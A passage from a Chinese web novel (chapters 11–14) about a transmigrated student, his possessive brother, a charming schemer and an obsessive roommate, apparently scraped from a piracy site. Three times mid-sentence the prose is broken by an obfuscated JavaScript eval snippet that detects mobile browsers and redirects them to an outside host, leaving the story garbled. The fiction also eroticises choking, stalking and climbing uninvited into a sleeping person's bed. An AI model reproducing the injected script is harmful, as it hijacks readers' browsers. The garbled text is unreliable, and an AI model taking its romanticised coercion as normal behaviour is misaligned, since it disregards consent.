刚推开门就能感受到一股刚刚入学朝气蓬勃的新生们难以控制的兴奋感扑面而来,叽叽喳喳的到处聊天,吵得翻天。 朗月现刚迈进门就让吵得皱眉,当时就后悔了,门还没关上转头就想走,他脚步刚后退一步,接着整个人就撞在了跟在他后面想进门的一个人的胸膛上。 那人的手虚虚揽了一下他的腰,帮他稳住身形,耳边的声音清润温和,语速不急不缓,低低的钻进朗月现的耳朵里。 “不好意思,吓到你了。” 男人的声音并不大,吵闹不休的礼堂却莫名安静了下来。 朗月现也是第一次被这么多人同时转头行注目礼,他觉得这场景很像他曾经看过的一部电影里面的一群集体转头的狐獴,他有点想笑。 应昭就站在朗月现身前,帮他推开的门,此时正满目震惊的看着朗月现身后的人,磕磕巴巴的开口:“盛,盛神?” 朗月现神色微变,接着往前走了几步,给身后的人让进门,接着转过身面对他。 如果说朗月现长着一张能轻易让人一见钟情的脸,那盛衍就是有着让人久看成瘾的本事。 一身干净的白衣黑裤,熨烫的平平整整,修饰着挺拔的腰身,脸部线条精致流畅,鼻梁高挺如工刀刻画,一双狭长标准的凤目微微上挑,身姿清隽,薄唇俊目。 本应是气势凌人的一张脸,却被那柔和的神情中和了,眉骨下的凤目眼波流转间竟显得温润如水,薄唇勾起的弧度温暖谦和,平白让人心中顿生几分好感。 迎着朗月现审视而戏谑的目光,盛衍同样也在注视着他。 少年漂亮得让人移不开眼,他肤白,头发乌黑,眼睛明亮,嘴唇绯红,五官便更显得秾丽。 非常吸引人的一张脸,叫人只一眼就将目光紧紧粘在他身上,再也无暇顾及其他。 他好像凉薄夜色中的繁星,整个人给人一种慵懒又疏离的感觉。 一般人望向那张精致的脸蛋都难免会先看见那双明珠一样的眼睛,盛衍也难以免俗,细密平直的睫毛下,形状姣好的杏眼明眸善睐,晶亮的双眸像含了满池的秋水。 他想起自己曾看过的一首古词,里面有一句「一寸秋波,千斛明珠未觉多」 多美的眼睛啊,比千斛明珠射出的光还要明亮。 盛衍被那一双眼睛迷住了。 直到清脆明显的一声快门声,才将互相对望的两个人视线从对方身上移开。 一个正拿着相机对着他们俩的同学从镜头后讪讪地露出头来,他干笑两声,说道:“呃……实在是新闻宣传部的职业病,不好意思啊盛神,还有这位同学。” 说罢他又邀功一般的将相机举给两人看,激动的说着:“但是你们看,我拍的你们多好看,迎新晚会要是用这张照片做封面,对面学校的都得挤破头的过来参加。” 盛衍好奇的凑过去看,朗月现站在原地未动,只慢悠悠的说道:“不太行吧,我又不是晚会演员。” 几人同时看过来,朗月现语气闲散,一只手指了指应昭:“我陪着他过来而已。” 拍照的那位同学显然接受不了,表情登时痛苦起来,抱着相机如丧考妣:“我八百年才拍到一张这么好看的照片,只要火了,新闻部副部长的位置指日可待,你跟我说不让我用,你还不如杀了我!” 盛衍倒没太惊讶,他笑着问朗月现:“那同学,你总是我们学校的吧。” 朗月现直觉有诈,犹豫间还没说话,旁边的应昭跟个小学生一样高举着手,声音很大,炫耀一般:“是的,没错,这是我舍友!”说完还仰着下巴环顾全场,努力压制得意的嘴脸。 朗月现:“……”他身边都是什么奇葩聚集地。 盛衍露出一个格外温和的笑意,对着朗月现说道:“那样就可以了,可以用的。” 新闻部未来副部长已经开始欢呼了,盛衍好像也是铁了心要用这张照片做晚会宣传。 朗月现感觉好像被强行安排了,有些不爽,他蹙着眉看过去,只见盛衍正一眨不眨的看着他,目光清润,如一汪温柔而甜蜜的春水般将他层层包裹,专注地仿佛眼中再也装不下其他人一样。 朗月现只觉得一股恶寒,湿润而粘腻,如同被啜着蜜的浓糖黏在了身上。 朗月现转身往外走,顺带抛下句:“随便你。” —— 礼堂外面有一处比较隐蔽的露台,朗月现还不想回去,便慢慢地走了过去。 礼堂内已然打开了灯,外面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018972|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有隐隐的天光,朗月现微微俯身,双臂搭在露台栏杆上,慵懒地看着远处的风景。 朗月现:“小东西,你挣到积分了吗?” 系统一愣,回道:“嗯?没呢,咱关键节点还没到呢,没有积分的。” 朗月现可有可无的慢慢点了点头,系统等了几秒,又问道:“宿主你有什么需要的东西吗?” 朗月现说:“也没有什么要紧的。” 系统看他不愿意说,又开始哼哼唧唧,一脸傲娇:“虽然咱们还没挣到积分,但是宝自己还是有点小存款的,满足一下自己宿主的小愿望,宝还是能做到的呢。” 朗月现笑的开怀:“这么厉害,不愧是我的系统。” 系统得意的一仰小脸:“那可不。” 朗月现问系统要了一盒烟。 他缓缓的抽着烟,任由烟雾缠绕住他眼前的景色,眼神中满是漠然和疏离,仿佛和面前的世界毫无关系。 半响后,露台下的路灯突然亮了起来,他好像才缓缓拉回心神。 “嗯,草莓爆珠的,还不错。” 系统托着小脸,软乎乎的问道:“宿主你还会抽烟呢。” 朗月现随手弹了弹烟灰:“会,早就会了。只不过有一次让我哥发现了,他不愿意看我抽烟,就戒了。” 朗月现似是回忆起什么,摇着头笑了笑:“我哥啊,哪都好,就是管我管的太紧。” 系统没敢回这句话,它对朗秉白唯一的印象就是作为宿主最亲近的大哥,竟然也同样参与了大结局中虐杀恶毒反派的最后行动。 它哼唧几声换了个话题:“宿主,见到主角受了,你有什么感觉?” 朗月现垂下头,额发自然下垂,遮住了那双明亮多情的眼睛。 已近入夜,身旁开始有清凉的风刮过,系统看不见朗月现的神色,只听到他用似笑非笑的语气轻声说道:“一个装货。” 第一眼看见盛衍,朗月现的确被唬住了片刻,不得不承认他那副温和的外表的确很有迷惑性,但当那双眼睛看向别处,朗月现再看他的第一反应就是:“装。” 盛衍的神色依旧是温和的,平易近人的,但是当那双看见朗月现时,显得有些意料之外、惊讶的眼睛,在转头望向镜头时,那眼神中满是懒得应付的冷淡和不耐。 原来那副温文尔雅的样子都是表象。这人在看礼堂的新生们时,嘴角挂着假笑,眼睛却像在看一群未开智的猴子,带着与他毫不相关的漠然。 好熟悉的眼神,好熟悉的态度。 朗月现笑着暗骂一声:“艹,这人竟然和我是同类。” 朗月现觉得恶心的同时又觉得无比好笑。 这个世界用尽所有的爱诞生出最爱的孩子,这个世界意志拼了命守护的人,全世界爱的中心,竟然是个厌恶着全世界的高级演员。 说他和朗月现是同类其实也不尽然,两人虽然都对这个世界带着漠然的厌倦,但朗月现是将对世界的不屑和轻蔑完整的展露出来。 而这位高贵的世界之子,则是用精湛的演技,扮演了一个“温和善良”的伪善角色,戏弄一般的面对这个他从来都看不起的世界。 朗月现狠狠的抽了一口烟,将烟雾吐向远处逐渐被夜色吞噬的天光,笑骂道:“被耍了吧,蠢货。” 但让朗月现觉得不解的是,那人看向自己的眼神,确实是透露着莫名一股的温情和柔软。仿佛他看向其他人时平淡的没有一丝情绪的眼神,只是他的一场错觉。 系统老半天没说话,突然轻声开口:“宿主,后面。” 朗月现向后看去,盛衍那很好辨认的清隽身姿正站在不远处,遥遥看向自己。 12. 第十二章 看见朗月现转头望向自己,盛衍提步走了过去。 朗月现依旧保持俯身依靠栏杆的位置,偏过头看着他走到自己身旁:“有事?” 盛衍要比朗月现稍微高个几厘米,靠近后朗月现并没有站直,他只能微微垂眸,先是看了看他在微暗的天色下,点点猩红的烟头,接着便对上了他似笑非笑的眼睛。 “要小心,这栏杆不结实。” 朗月现的一双眼睛多么灵动,以至于盛衍能从里面完全读懂那面对着自己明显的不耐。 要不是还有些许的好奇,估计连给自己一个眼神都欠奉。 盛衍突然轻声笑了笑,再开口依旧是那副温和的模样。 “我突然想起来,还没问你的名字。” “刚刚在礼堂看到你,我有些神思不属。忘记问你的名字,是我的疏忽。” 朗月现微微蹙眉,在脑海中问道:“神思不属?什么意思,他认出我是世界的外来人口了?” 系统:“……不是吧……”它就没有一次能跟上他家宿主的脑回路,宝恨! 朗月现悠悠地说道:“你可以问我舍友。” “我想听你亲口说。” 朗月现瞥了他一眼,没吭声,转过头抽了口烟。 安静了几秒,盛衍那很有辨识性的温润嗓音再次响起:“你好像不是很喜欢我。” 朗月现意味深长的地看了他几秒,笑得潇洒又随性,话却说的开门见山,挑衅一般的透着恶意:“谁都要喜欢你吗,你是被这个世界惯坏了?” 盛衍似乎没料到他会这么直接,他先是愣了一下,接着露出一个无可奈何的温柔笑容,看得朗月现一阵恶寒。 “不是的。” 朗月现看着他抬起眼睛看着自己,没有丝毫生气,眉心却轻蹙,双眸中清晰可见的带着一丝委屈的幽怨。 “可是如果是你讨厌我,还真是叫人伤心。” 朗月现:“……” 人看着挺文雅的,怎么说起话,做起事来这么恶心呢。 他真的是很难同这种表演大师打交道。明知道他都是装的,偏偏他还一副无辜单纯的模样,你又没有证据去拆穿他,更没有理由单纯因为不爽就直接给人按地上揍一顿。 虽然朗月现有时候真的挺想的。 朗月现懒得理他,站直身子,盛衍紧跟着他的动作开口:“要回去了吗,我可以跟你一起吗?” 朗月现:“你不用排练吗?” 盛衍摇了摇头:“我不用,今天只是来确定节目。” 朗月现没再说什么,他半垂眼睫,深深吸了口香烟,猩红的烟头堪堪贴近根部,他抬起眼,逗趣一般的挑了挑眉,红唇微启,将烟雾吹在了盛衍眼睛都不眨看着他的脸上。 盛衍一动未动,任由他动作。 朗月现一手摁灭烟蒂,淡淡的嗯了一声。 算是对盛衍刚刚那个问题的回答。 被带着戏弄意味的吐了一脸的烟,那在缥缈四散的烟雾中渐渐显露出的眉眼,像是被按灭的猩红火星又在他的眼底重新复燃。 他目光死死盯着转身走在前面的朗月现,伸出手摸了摸唇角,果然露着一抹他自己都毫无察觉的爽快笑意。 那副看似平静的面容下,隐隐有青筋跳动。他难得如此失控,炽烈的兴奋感在他的胸膛燃烧,盛衍捂了捂脸,再也无法维持平日里那副从容地姿态。他知道此刻自己的表情一定被强烈的情感冲击的无比扭曲。 不能被发现,不能把人吓跑。 好久没遇到过这么有趣的人了,这个蠢货遍地的世界,终于为他送来一个能让他提起兴趣的宝贝了。 —— 盛衍最终还是在朗月现嘴里套出了名字,并紧接着在下一秒得寸进尺:“那我可以叫你月现吗,嗯……他们都怎么叫你,小月?阿现?你喜欢被叫什么?” 朗月现舔了舔自己暗暗发痒的虎牙,笑容愈发危险:“你叫老子爷爷我都懒得管你。” 系统使劲给气的直乱闪的脑电波予以各种安抚,他一边用手顺毛,一边口头哄着:“乖宝咱不跟他一般见识,那可是主角受,你要是给他一杵子会遭报应的,这蠢的一根筋的二货世界意识可不跟咱客气……” 盛衍终于在自己即将要挨揍的前一秒很有眼色的闭嘴了。 他们走的并不是回宿舍的学校主干道,盛衍带他走了一条小道,盛衍说这条路知道的人少,只是有点绕路,朗月现无所谓多走那么几步,便跟着他走了。 突然,朗月现的脚步停了下来。 盛衍也跟着停住脚步,朗月现望向前方,神情些许错愕,还有点一言难尽的纠结。他顺着朗月现目光看过去,也就是十几米外的不远处,亮起的路灯下,站着一个很显眼的男人。 笔直站着的男人成熟高大,一身笔挺的衬衫西裤,勾勒出劲瘦腰身和修长双腿,他双手插在裤兜里,眼睛遥遥的望向这边,面容一半隐藏在夜色之中,看不清神色,周身却莫名给人一种危险的冰冷气息。 朗月现微眯起眼睛,看他哥这身装扮,估计是刚下班就赶过来了,但是平日里打得严丝合缝的领带却没了,衬衫扣子还额外解开两颗。 看样子真是气的不轻啊,他悠悠的冲天叹了口气,怎么就忘了给朗秉白打个电话呢。 朗月现突然眉头一扬,好似想起了什么,他依旧站在原地未动,扭过头冲旁边保持温柔笑意的盛衍说道。 “过来,闻闻我身上有没有烟味。” 盛衍:“?” 盛衍差点没稳住脸上的笑容,他努力保持着得体的微笑,用表情又问了一声:“嗯?” “闻我身上的味道。” 盛衍:“……” 这次换朗月现不解了,他不明白就这么点小事,这人在墨迹什么,他冲朗秉白的方向又瞥了一眼,有点担心他哥耐不住性子直接走过来,如果再发现他偷着抽烟,那就别想善了了。 他没耐心了,拉住盛衍的衣服,一把把人扯到近前,扬起了头,小声催促道:“快点。” 盛衍脸上的表情已经全部隐去了。 他看着那双近在咫尺,看向别处的明晰眸子,心中暗自微动,神情晦涩不清。 盛衍想:他到底知不知道自己在干什么。 那一截白皙修长的脖颈在他面前向后仰起,延展出一段极其优美的弧度,有淡淡青色血管浮现其上,盛衍盯着看了许久。 自己好不容易看中的宝贝,看上去像是个脾气不好的小炮仗,原来竟是个这么不设防的性格吗。 藏匿于夜色的双眸,映衬着他轮廓分明的脸庞,很好的为他隐藏了那骤然间变得浓烈的侵略感。 他听话的在朗月现发火之前覆了过来,背对着路灯的光亮,盛衍看到自己的影子几乎将朗月现整个人完整的包裹住,他很是幼稚的因为这一幕满意地勾唇笑了笑。 直到闻到那股混着淡淡草莓烟草味的玫瑰花香,他突然就笑不出来了。 朗月现感受到萦绕在肌肤上的呼吸突然变得粗重急促起来,虽然有些不适,但还是隐忍的没出声。 温热的气息尽数蹭在朗月现的脖颈间,朗月现觉得有点痒,稍稍挣动了一下,却被盛衍一把拉住了胳膊。 “先别动……”原本清润的嗓音似乎因为压的太低,变得有几分奇怪的沙哑,听起来低沉磁性,像换了一个人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15018973|162168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛衍将脸慢慢抬高几分,高挺的鼻梁几乎是擦着朗月现的脖颈之间交错,蹭到了朗月现的侧脸,那不稳的灼热鼻息清晰的拂在了朗月现的脸上,朗月现甚至听到了他吞咽的口水声:“再让我闻闻。” 太近了。朗月现皱着眉,刚要把人推开,就听到甚至不用他细心分辨就能听出来满含怒火的急促脚步声向自己疾步走来。 * 朗秉白只觉得被怒火灼烧的眼前一阵阵发黑,像这样不管不顾的在大庭广众之下当场情绪失控,似乎在他有记忆之后就没这么干过了。 当他看到那个白衣少年当着他的面,对朗月现缓缓垂下头,那一瞬间他的心脏几乎都停止跳动了。 但是两个人并不是他想象中,挑衅般的故意在他面前接吻。稍稍高了一些的白衣少年交错蹭过朗月现的脸颊,低头贴近了他的脖颈。 最令朗秉白崩溃的是,朗月现并没有躲开。 他这个无论任何人都不放在眼里的弟弟,在面对一个不过今天刚认识的陌生人,毫不反抗的扬起了脖颈,美丽地像一只引颈受戮的脆弱天鹅。 白衣少年不多时稍稍抬高了头,凑在朗月现的耳边说了些什么,两人的气氛竟恍若爱人间的呢喃低语。 朗秉白一直在等着朗月现主动推开那个少年,愤怒的情绪决堤般涌入他的心底,他耳中一阵阵轰鸣,指甲紧紧抠进掌心才堪堪止住自己暴怒中的动作,但是朗秉白觉得他等不到了,再等下去他都够呛能有命再去质问弟弟了。 他终于忍无可忍,大步上前,一把将朗月现扯进自己怀中,浑身极重的压迫感和占有欲海啸一般的击向盛衍,他双眸猩红,几乎稳不住一贯沉稳的表象。 而他那个完全看不懂场合的弟弟,还窝在他怀里恶人先告状,指着盛衍说道:“不是我抽烟哦,是他。” “什么?”朗秉白现在的思绪完全不能与平日里思维敏捷的自己相提并论。 他还没平复下来,低头凝望朗月现的眼神中,有浓郁到难以自控的情愫,他怕朗月现看出什么来,极力克制着自己又挪开了目光。 他艰难的理解了一下朗月现话中的意思,好不容易才反应过来,沉默片刻,又直直地看向弟弟:“从哪来的烟?” 系统:“……宿主,咱们也处了这么长时间了……” 朗月现看着没瞒过去,眼睛都不眨的卖队友:“小东西给我的。” 系统:“好好好,宝死。” 盛衍除了朗月现被当着他的面从身前抢走,一时间没控制住乖戾的神情之外,此刻早已重新挂好了那副温文尔雅的表情。 即使小没良心的当着他的面说谎指认他,他也只是从心底觉得他好可爱,面上连笑容弧度都没变一下。 盛衍似乎毫不在乎朗秉白面对他时那股压抑不住的敌意,他态度十分得体的向朗秉白伸出了手:“您好,初次见面,我是月现的学长,您叫我盛衍就好。” 朗秉白知道自己完全没必要为此杯弓蛇影,他弟弟向来目中无人的性子他还是了解的,刚刚那一幕估计只是误会。 然而浓重的掌控欲依然令他无法自控,在假想敌的面前揽过窄腰,攥紧朗月现的一只手,用空着的手很有风度的回握:“朗秉白,小月的哥哥。” 两个人的手几乎是一触即分,朗月现因为哥哥下意识搂的太紧,不满的扭动了两下,朗秉白却不容置喙的又将人拉近了几分,不允许他退缩。 盛衍饶有兴致的看着这一幕,直到朗秉白神色如常,搂着弟弟对自己有礼貌的告别,面上已经完全看不出刚刚那副占有欲爆发的偏执模样。 他站了片刻,目送他们远去,意味不明的哂笑了声,慢悠悠的往回走去。 13. 第十三章 直到远离了那片让朗秉白呼吸困难的区域,理智终于正常回归到身体里,朗秉白这才隐隐闻到弟弟身上淡淡的烟草味。 朗秉白停下脚步,眉头紧锁的看着朗月现,无奈的长叹一声,嗓音还带着几分刚刚急火攻心的微哑:“哪来的烟,刚刚那个人给你的吗?” 朗月现面对着哥哥站着,余光看了看周围,盛衍说的不错,这条小道的确人烟稀少,这个时间段正是学生们吃完晚饭出来散步的大好时间,而这里除了风声带来远处的隐隐交谈笑语,似乎只有野猫会路过。 他并没有回答朗秉白的质问,神色自然的伸出手指捏了捏他哥领口敞开的白色扣子:“哥,你的领带呢?” 朗秉白此刻脸色并不好,但还是任由弟弟玩弄自己的扣子,他淡淡的低声轻斥:“小月,哥有没有跟你说过不可以抽烟,对你的身体不好。” 说完又觉得自己语气似乎不怎么好,和缓了态度接着哄道:“你换个别的玩好不好,前段时间宋家主场的拍卖会有一颗浓彩粉钻流拍,我买过来给你玩怎么样?” 朗月现抬眸看了过来,那双此刻看向朗秉白的眼睛如同清水洗过的琉璃一般,倒映着路灯的光,却比那还要明亮。那样漂亮的眼睛,简直要直直地看进人的心里才罢休,让朗秉白心都化了。 朗月现配合着乖巧的目光,露出个同样乖巧的笑容:“谢谢哥,给我打成戒指吧,哥最懂我了。” 朗秉白显然受用极了,心中像是有什么堵得他喘不过气的东西乍然破开,那一瞬间他甚至难以自控的涌起一股极为酸涩的委屈,几乎要逼红眼眶。 刚刚在看到那一幕的时候,他还以为弟弟不要他了,这几乎瞬间将他击溃。 朗秉白后知后觉的感受到心口传来一阵闷闷的疼痛,不尖锐,但足够磨人,他想弯下腰大口喘上几口气,但是朗月现还站在他面前。 他只能默默忍下,极力逼退胸前那股酸涩窒闷感,面色如常,用柔和又满足的目光看着朗月现。 朗秉白这时才想起自己来这里的目的,他满是不赞同还有些委屈的开口:“小月现在还学会躲着哥偷跑了?以后有什么想法你都可以跟哥商量着来,这样一声不吭的自己走了,哥会担心的。” 朗月现忽然莫名轻笑一声。 他伸出手整理着朗秉白的衣领,自然而平静的开口:“盛衍说,这条小道是他们宿舍几个人有一次集体表演要迟到了,不小心发现的,路石都没铺好,连本校人知道的都很少,所以几乎没什么人会路过。” 朗月现拽着朗秉白的衣领,小幅度的晃了两下,看着他哥骤然慌乱的眼睛,笑得一脸戏谑:“所以我才说,哥最懂我了,不然你是怎么找到我的呢?” —— 朗月现回到宿舍的时候时间已经不早了,房间内却空无一人,只有浴室传来淋浴的水流声表示里面有人在洗澡。 他走到自己的床位前坐下,伸长了双腿,头靠在椅背上,有些疲倦的捏了捏眉心。 浴室的门这时打开了,周闻铮擦着头发走了出来。 看到朗月现坐在床前,话还没说脸上先扬起了一个笑容,他大步走过去,目光赤裸,不错眼珠的盯着人看:“你再不回来我就要出去找你了。” 朗月现撩起眼皮看了他一眼,周闻铮似乎是洗了个凉水澡,靠近后浑身散着的水汽都是冰凉的,这人洗完澡就在下腹围了条浴巾,大咧咧的裸露着大部分结实蜜色肌肤站在人面前,还不知轻重的离得人很近,那条肌肉虬结的赤裸大腿几乎要抵在他的身上。 朗月现似笑非笑的看着这个浑身散发着浓烈的雄性荷尔蒙气息的男人,同样身为男人,他几乎被这种毫不掩饰赤裸裸的挑衅心思给气笑了。 “知不知道正常对话的社交距离,离得太近了混蛋。” 周闻铮最受不住他这样自下而上看来的眼神,喉结滑动几下,移开视线,转身从床上拽下一件黑色的背心套上了,遮住了结实强劲的上半身。 朗月现烦躁的瞥了一眼,暗骂自己怎么就练不成这样,一个假期的高强度搏击训练,单是身体各处的线条越来越流畅好看,也没让他的肌肉像周闻铮这样多膨胀几块。 朗月现正满心不爽,系统突然在脑海中叫他:“宿主,原书主角受和主角攻之一见面了。” 朗月现“嗯”了一声,系统等了半天也没等到下文,只能继续说道:“在原世界中,盛衍同朗秉白的第一次相见要在很久之后,朗秉白将会对他一见钟情。这次我们算是强行将两人的交集线大幅改变,宝担心,万一朗秉白此刻就对盛衍一见钟情,之后世界意志从中作梗,让剧情照常发展,朗秉白会提前对我们出手,打乱咱们的计划。” 说完之后系统好久也没等来朗月现的回话,它以为朗月现是对于哥哥终究会出现的背叛感到伤心了,刚想要开口安慰几句,就听到朗月现轻轻一笑。 它这位唯恐天下不乱的宿主单手支着头,若有所思,眼中泛起可疑的兴奋:“那也太有意思了,我还从来没见过朗秉白为了谁要死要活的样子呢。” 系统被朗月现一脸等着看好戏的模样憋的头疼,狠狠翻了个白眼。 它就知道自己没有一次能跟上宿主的脑回路。 浴巾里面只穿了条平角内裤,周闻铮知道自己身材好,有意引诱一番。在换短裤的时候,特地放慢了速度,胸膛高挺,弯下宽阔的脊背,手臂顺着划过精瘦的公狗腰,展示每一处结实的恰到好处的肌肉,再慢慢将短裤提上。 此人无比满意的带着得意的笑容转过身,才发现这场表演的唯一观众靠在椅背上,支着头看向窗外,早不知道神游到哪去了,一眼都没往他这儿看。 周闻铮扯着嘴角笑得咬牙切齿,愤愤的把毛巾扔到了床上。 “对了。”朗月现突然转过头来,带着他惯常的命令语气说道:“你找个人帮我检查一下手机,清点东西。” 周闻铮伸出手,示意他把手机递过来:“我就能检查,怎么了,手机出什么问题了吗?” 虽然朗秉白当面将他自己手机里的追踪软件销毁了,但朗月现还是有些不放心,谁知道这玩意能不能恢复。 朗月现把手机递过去,挑眉问道:“你怎么会检查这些东西?” 周闻铮搬过椅子坐在朗月现身边,听得这话,勾唇笑了笑,带着几分小得意:“当时在那边篮球队训练的时候,教练管的特别严,会查每个人的手机包括各种联络软件,我就自学了些这方面的技术,做了个小程序用来隐藏软件。” 说到这他还目光幽怨的盯了朗月现一眼:“我在国外偷偷给你打电话,你没有一次接的。” 朗月现隐约记得似乎有段时间常有个国际号码经常不分昼夜的打过来,他一开始没管,后来有一次打扰到他打游戏,下一秒就被拉黑了。 朗月现对着那幽怨的眼神并没有一丝愧疚之意,如果不是这次周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周闻铮因为缺氧,面孔涨得通红,他隐忍着,毫不挣扎,听话的松开了手,转而掐住自己的大腿,用力地掐出一道道痕迹。 在周闻铮实在难耐的阖上了眼时,朗月现才终于大发慈悲的松开了手,周闻铮猛地咳嗽几声,弓下腰捂着喉咙急促喘息着。 朗月现被疯狗这幅凄惨的样子取悦到了,他奖励一般的拍了拍周闻铮汗湿的脸,眉梢挑起轻佻的笑意:“乖,记住了,下次少在我这耍你那少爷脾气。” 说罢将上衣利落一脱,丢在椅子上,只穿着裤子,拿着换洗的衣服,走进浴室准备洗漱。 周闻铮随着浴室门关上的“嘭”响,双膝失控地往前一送,同时跪在了地上。 他面上因窒息涨起的红色并没褪下去,反而有愈演愈烈的迹象,身体僵硬的像是绷紧的弓弦,眼睛盯着朗月现换下的衣服,目光凶狠炙热的像是饿了三天看到了肉骨头的狼。 将衣服一把扯了过来,先放在鼻尖大口大口喘息,表情迷失得忘乎所以,眼中因动情烧的猩红,随着强制窒息带来的灭顶快/感,烈焰般烧灼他的理智,底下半硬的畜生东西不知羞耻的越起越高,他浑身颤栗,弯下腰将脸深深埋进朗月现的衣服里。 声音沙哑的骇人,像是被强压在喉管里,他闷闷的笑了两声,喃喃的骂道。 “艹,我是变态吗……” 14. 第十四章 应昭好不容易结束排练回到宿舍,除了程澈的床位还空着,其他人都已经上床休息了。 他轻手轻脚的洗漱完爬上床,大脑皮层还处在兴奋阶段,他怎么也睡不着,掏出手机开始刷来刷去,翻到了今天在路上给朗月现拍的视频。 重复看了不知道多少遍,手机都快没电了,他才勉强将眼睛从屏幕上扒开。 他不断推拉进度条,仔仔细细反复欣赏展新月最后对着镜头露出的那个懒散随意的笑。看得他心跳加速,面红耳赤,难耐的床上小幅度滚来滚去。 这张脸长得真的太权威了。 应昭觉得自己虚荣心实在是太强了,他好想炫耀这个笑容,他觉得那是面对着手持着镜头的自己才展露出的笑容。 但是又私心想将这么美好的视频保存在自己手中,只有自己一个人能看见才好。 应昭虽然这么想着,手指还是很诚实的点开论坛,编写帖子。 他实在是很难压制住自己那副迫切想要炫耀的嘴脸,他将头缩进被子里,咬着下唇激动地点击了发送。 发完了!不管了!应昭将手机一扔,抱着被子又滚了两圈,翻身冲着墙又亢奋的晃了几下,疲惫感终于慢慢涌了上来,这才沉沉睡去。 累了一天的人睡得很香,完全不知道自己大半夜为了满足虚荣心发的这条帖子将会在C大引起怎样的轩然大波。 这边睡熟了,另有人开始动起来了。 周闻铮一把掀开被子,坐了起来。双眼渐渐适应了黑暗,他捋了把自己的寸头,四处看了看,确认没有动静了,将塞在怀中的衣服慢慢抽了出来,先是恋恋不舍的深吸了一口,又因为刚刚一直搂在怀里,衣服上多少沾了些自己的味道,嫌弃又可惜的恨不得给自己一巴掌。 他往旁边看了一眼,打消了念头,算了,再把人吵醒了。 他珍惜的将衣服反复对折,放在了枕头底下。刚刚朗月现洗完澡出来找不到衣服,皱着眉正要发火,周闻铮赶紧解释说他手底下的人来过,和他的衣服一起拿出去干洗了。 朗月现没再多说什么,只是警告他以后别做多余的事,算是轻拿轻放。周闻铮暗暗的松了一口气,并安排人赶紧再去买一件一模一样的送来。 周闻铮开学前得知朗月现准备住校,便提前安排好了一切住宿事宜。包括住宿的名单安排,宿舍里的设备换新,床垫也要换成朗月现常用的款,包括床位的安排,每一个细节周闻铮全部亲自盯住检查,拿出自己十几年未有过的细心,不容一丝差错,一点点安排妥当。 除了学校不允许有二人间宿舍让他十分不爽,其他的基础设备倒是都还算满意,尤其是两人的床位安排。 周闻铮小心翼翼的往朗月现床上靠近,动作极轻的通过床头的连接,伏低身子长腿一迈,轻手轻脚踏上了朗月现的床。 朗月现盖着轻薄的夏凉被,睡得正熟,周闻铮保持着一个半跪在床的边缘,一手撑着栏杆,一手支在朗月现的枕边的奇怪姿势,就着窗帘缝隙间透出的隐隐光亮,痴痴的盯着朗月现的睡颜看了好久。 直到肌肉开始发出吱吱嘎嘎的响动,他才慢慢地活动着身体,轻手轻脚的把自己塞进了朗月现的被窝里,伸出一条胳膊探进朗月现的颈窝里,小心翼翼的将人搂进自己怀里。 抱到朗月现的那一刻,周闻铮难以自控的从喉咙里溢出一声喟叹。 他的月月还是跟小时候一样,又香又软,每一处都漂亮得让人招架不住。 周闻铮小时候一直觉得自己有病,他觉得自己特别奇怪,只要面对朗月现,自己总会有类似饥饿口渴的感觉,像是动物看到猎物时的本能反应。 他当时年纪还很小,不知道自己这种心理的真正来源。他不知道怎么治,也不想伤害月月,只能默默跟在他身边,不过度靠近也不舍得远离。 他并不怎么跟朗月现说话,因为一说话就忍不住盯着那粉嫩的似乎能掐出水的嘴唇挪不开眼睛,那水蜜桃一样的脸蛋他几乎要用尽全身力气才能忍住不上前咬一口。 但是如果朗月现稍微离他远一点,他就急得像找不到家的狗,一声一声的跟在后面喊着“小月月”去追,平时一副冷面酷哥的形象全部抛到脑后,碎了个彻底。 直到因为频繁打架被送出国,周闻铮每天在美国D1等级的NCAA体协堪称地狱般的高强度训练中,累的气都喘不匀的时候,满脑子只剩朗月现。 想他的唇,想他的舌尖,想他恶劣的笑,想他恶趣味的让他跪在面前,鞋尖抵住胸膛顺着滑到下腹,再重重踩下。 将自己所有的尊严都碾成为了眼前的少年而高涨的快感,想得难以忍受,痒得要教人发疯。 如此高强度的训练也没能让他因为想念而高涨的欲望累趴下,周闻铮没有这方面的概念,他只想吃饱喝足。 他想吻开记忆中那饱满湿润的唇,叼住那艳红的舌尖,想亵渎般的将他压在身下,想填满他,想被他用那双纯洁明澈的眼睛充泪泛红的怒视,想被他辱骂,殴打,抓挠,在那全身长年累月训练造成的伤疤上,添上他梦寐以求的艳丽色彩。 周闻铮终于恍然大悟,眼眸中蓄着满满的竟全是无法掩饰的爱意。他想吃掉他,因为他爱他。 想明白了之后,周闻铮像是刹那间有了人生目标,在教练不断暗叹可惜的挽留声中,毅然决然的带着一身的荣誉和清晰的爱慕,回到了他的月月身边。 